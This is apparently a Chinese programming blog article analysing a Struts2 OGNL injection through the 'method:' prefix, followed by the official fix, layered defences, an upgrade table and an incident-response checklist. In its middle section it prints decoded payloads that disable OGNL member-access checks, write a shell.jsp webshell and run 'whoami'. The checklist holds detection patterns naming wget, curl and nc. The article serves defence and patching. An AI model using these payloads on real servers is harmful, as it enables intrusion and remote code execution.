| 符號 | 作用 | 示例 |
| # | 訪問非根對象 (session、application、parameters) | #session.user |
| % | 強制解析字符串為 OGNL 表達式 (類似 eval) | %{1+1} → 2 |
| $ | 國際化資源/配置文件中引用 OGNL | ${user.name} |
| @ | 調用靜態方法/訪問靜態字段 | @java.lang.Runtime@getRuntime() |
攻擊向量分析
1. 入口點
URL 參數 method 直接傳入 OGNL 表達式:
/vuln.action?method:%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,...
2. 核心調用鏈
DefaultActionProxy 構造器接收 methodName,經 StringEscapeUtils 轉義 (不足)。
DefaultActionMapper 解析 method:xxx 語法,提取方法名。
DefaultActionInvocation.invokeAction() 調用 ognlUtil.getValue(methodName + "()", context, action)。
- OGNL 引擎解析並執行表達式,繞過安全管理器執行任意 Java 代碼。
3. 利用 Payload 解碼 (文件上傳)
# 解碼後核心邏輯:
_memberAccess = @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS, // 關閉安全檢查
#req = @org.apache.struts2.ServletActionContext@getRequest(),
#res = @org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding('UTF-8'),
#w = #res.getWriter(),
#path = #req.getRealPath('/'),
new java.io.BufferedWriter(new java.io.FileWriter(#path + 'shell.jsp'))
.append('<%@ page import="java.io.*" %><% out.println("hacked"); %>')
.close(),
#w.print(#path),
#w.close()
4. 利用 Payload 解碼 (命令執行)
# 核心邏輯:
_memberAccess[allowStaticMethodAccess] = true,
_memberAccess[allowPrivateAccess] = true,
_memberAccess[excludedPackageNamePatterns] = {},
_memberAccess[excludedClasses] = {},
#res = @org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding('UTF-8'),
#w = #res.getWriter(),
#s = new java.util.Scanner(
@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()
).useDelimiter('\\A'),
#str = #s.hasNext() ? #s.next() : '',
#w.print(#str),
#w.close()
官方修復方案 (2.3.28.1+)
// DefaultActionMapper.cleanupActionName() 新增白名單校驗
protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
protected String cleanupActionName(String rawActionName) {
if (allowedActionNames.matcher(rawActionName).matches()) {
return rawActionName; // 只允許字母數字._!/-
}
// 移除非法字符
String clean = rawActionName;
for (String chunk : allowedActionNames.split(rawActionName)) {
clean = clean.replace(chunk, "");
}
return clean;
}
三層防禦體系
第一層:框架配置 (零成本、即時生效)
原理:關閉 DMI 功能,切斷 method: 入口。若業務需動態方法,升級到 2.3.28.1+ 並配置白名單。
第二層:JVM 級防護 (深度防禦)
# 啟動參數添加 (Java 8u121+)
-Djdk.lang.Process.allowAmbiguousCommands=false
原理:禁用 Runtime.exec() 執行模糊命令,阻斷命令執行類 Payload。需測試業務影響 (如合法調用系統命令)。
第三層:WAF/RASP/容器安全 (外部防禦)
- WAF 規則:攔截含
@ognl.OgnlContext、@java.lang.Runtime、_memberAccess 等特徵的請求。
- RASP Agent:掛鉤
Runtime.exec、ProcessBuilder.start、ClassLoader.defineClass 等敏感點,實時阻斷異常調用。
- 容器最小權限:以非 root 用戶運行、禁用不必要系統調用 (Seccomp)、只讀根文件系統。
升級指南
| 當前版本 | 建議升級目標 | 備註 |
| 2.3.x | 2.3.28.1 (最終 2.3 維護版) | 兼容性最好,僅修復安全問題 |
| 2.5.x | 2.5.30+ (LTS) | 包含更多安全增強 |
| 1.x | 立即遷移至 2.5+ | 1.x 早已停止維護 |
應急響應檢查清單
- 檢查日誌:
grep -r "method:" access.log | grep -E "(_memberAccess|Runtime|OgnlContext)"
- 排查 Webshell:
find /webapp -name "*.jsp" -o -name "*.jspx" | xargs grep -l "Runtime.getRuntime"
- 檢查異常進程:
ps aux | grep -E "(java|python|perl|bash).*(wget|curl|nc|bash)"
- 驗證修復:發送測試 Payload 確認返回 400/500 而非執行成功。
- 全量升級:所有環境 (開發/測試/預發/生產) 統一升級。
最佳實踐總結
最小權限原則:業務不需要的功能 (DMI、靜態方法調用、Runtime.exec) 一律關閉。
纏繞防禦:框架配置 + JVM 參數 + WAF/RASP + 容器加固,單點失效不導致沦陷。
持續更新:訂閱 Apache Struts 安全公告、CVE 數據庫,建立依賴掃描 CI 流程 (OWASP Dependency-Check)。
- 上一篇文章: 選擇排序算法原理與 Java 實現詳解
- 下一篇文章: Java 泛型實現通用快速排序:支援任意 Comparable 類型與基本類型
Copyright ©
程式碼之家 All Rights Reserved